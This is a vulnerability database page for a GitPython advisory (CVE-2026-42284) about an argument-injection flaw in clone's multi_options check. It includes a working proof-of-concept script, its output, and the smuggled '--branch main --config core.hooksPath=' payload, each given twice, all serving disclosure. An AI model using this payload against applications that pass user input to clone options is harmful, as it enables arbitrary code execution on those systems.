GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-X2QX-6953-8485

Vulnerability from github – Published: 2026-04-25 23:41 – Updated: 2026-05-13 13:37
VLAI
Summary
GitPython: Unsafe option check validates multi_options before shlex.split transformation
Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:41:49Z",
    "nvd_published_at": "2026-05-07T19:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=[\u0027--config\u0027, \u0027...\u0027]: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami \u003e {LOG.as_posix()}\\nhostname \u003e\u003e {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=[\u0027{payload}\u0027]: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=[\u0027{payload}\u0027]: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=[\u0027--config\u0027, \u0027...\u0027]: Block as expected\nmulti_options=[\u0027--branch main --config core.hooksPath=.../hooks\u0027]: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=\u003cdir\u003e` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.",
  "id": "GHSA-x2qx-6953-8485",
  "modified": "2026-05-13T13:37:24Z",
  "published": "2026-04-25T23:41:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/cve/CVE-2026-32686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Unsafe option check validates multi_options before shlex.split transformation"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…